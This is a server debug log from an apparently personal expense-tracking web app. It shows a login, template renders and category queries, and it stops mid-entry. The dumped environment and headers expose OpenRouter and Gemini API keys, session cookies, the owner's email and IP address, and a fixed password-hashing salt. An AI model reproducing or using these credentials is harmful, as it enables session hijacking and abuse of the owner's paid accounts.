2026-03-05T11:07:52.131Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-03-05T11:07:52.132Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-05T11:07:52.176Z server-connect:output identity: 1
2026-03-05T11:07:52.176Z server-connect:app Executing action step restrict
2026-03-05T11:07:52.176Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:07:52.176Z server-connect:output restrict: undefined
2026-03-05T11:07:52.382Z server-connect:router Serving templateView /
2026-03-05T11:07:52.382Z server-connect:app Executing action step identify
2026-03-05T11:07:52.382Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:52.382Z server-connect:output identity: 1
2026-03-05T11:07:52.382Z server-connect:app Executing action step restrict
2026-03-05T11:07:52.382Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:07:52.383Z server-connect:output restrict: undefined
2026-03-05T11:07:52.383Z server-connect:app Executing action step restrict
2026-03-05T11:07:52.383Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:07:52.384Z server-connect:output restrict: undefined
2026-03-05T11:07:52.384Z server-connect:router Render template layouts/main
2026-03-05T11:07:52.384Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T11:07:53.164Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-05T11:07:53.164Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-05T11:07:53.165Z server-connect:app Executing action step identify
2026-03-05T11:07:53.166Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:53.166Z server-connect:output identity: 1
2026-03-05T11:07:53.166Z server-connect:app Executing action step restrict
2026-03-05T11:07:53.166Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:07:53.167Z server-connect:app Executing action step identify
2026-03-05T11:07:53.167Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:53.167Z server-connect:output identity: 1
2026-03-05T11:07:53.167Z server-connect:app Executing action step restrict
2026-03-05T11:07:53.167Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:07:53.172Z server-connect:output restrict: undefined
2026-03-05T11:07:53.172Z server-connect:app Executing action step select
2026-03-05T11:07:53.172Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-05T11:07:53.173Z server-connect:output restrict: undefined
2026-03-05T11:07:53.173Z server-connect:app Executing action step single
2026-03-05T11:07:53.173Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-05T11:07:53.181Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-05T11:07:53.183Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-05T11:07:56.933Z server-connect:router Serving templateView /house-planner
2026-03-05T11:07:56.934Z server-connect:app Executing action step identify
2026-03-05T11:07:56.934Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:56.934Z server-connect:output identity: 1
2026-03-05T11:07:56.934Z server-connect:app Executing action step restrict
2026-03-05T11:07:56.934Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:07:56.935Z server-connect:output restrict: undefined
2026-03-05T11:07:56.935Z server-connect:router Render template house-planner
2026-03-05T11:07:56.935Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-05T11:07:57.234Z server-connect:router Serving templateView /
2026-03-05T11:07:57.235Z server-connect:app Executing action step identify
2026-03-05T11:07:57.235Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:57.235Z server-connect:output identity: 1
2026-03-05T11:07:57.235Z server-connect:app Executing action step restrict
2026-03-05T11:07:57.235Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:07:57.235Z server-connect:output restrict: undefined
2026-03-05T11:07:57.235Z server-connect:app Executing action step restrict
2026-03-05T11:07:57.236Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:07:57.236Z server-connect:output restrict: undefined
2026-03-05T11:07:57.236Z server-connect:router Render template layouts/main
2026-03-05T11:07:57.236Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
